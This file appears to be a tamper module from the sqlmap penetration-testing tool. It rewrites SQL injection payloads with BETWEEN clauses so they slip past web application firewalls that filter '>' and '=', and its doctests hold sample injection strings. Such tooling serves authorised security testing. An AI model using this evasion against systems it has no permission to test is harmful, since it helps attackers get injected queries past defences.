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62 lines
2.0 KiB
Python

#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces the greater-than operator (>) with NOT BETWEEN 0 AND # and the equal sign (=) with BETWEEN # AND #
Tested against:
* MySQL 8.4.9
* MariaDB 11.8.8
* PostgreSQL 16.11
* SQLite 3.45.1
* Microsoft SQL Server 2022
* Oracle 23ai
Notes:
* Useful to bypass weak and bespoke web application firewalls that
filter the greater than character
* The BETWEEN clause is SQL standard, and the rewrite was confirmed
to run unchanged on every engine listed above
>>> tamper('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
>>> tamper('1 AND A = B--')
'1 AND A BETWEEN B AND B--'
>>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
'1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'
"""
retVal = payload
if payload:
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*(?<![<])>(?!=)\s*([^>]+)\s*\Z", payload) # Note: avoiding compound operators (e.g. >=, <>)
if match:
_ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5))
retVal = retVal.replace(match.group(0), _)
else:
retVal = re.sub(r"\s*(?<![<])>(?!=)\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload)
if retVal == payload:
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*(?<![<>!])=(?!=)\s*([\w()]+)\s*", payload) # Note: avoiding compound operators (e.g. >=, !=)
if match:
_ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
retVal = retVal.replace(match.group(0), _)
return retVal